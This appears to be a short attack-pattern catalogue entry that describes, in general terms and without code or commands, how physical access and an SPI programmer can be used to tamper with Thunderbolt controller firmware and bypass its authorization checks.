An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

← Back to the CWE list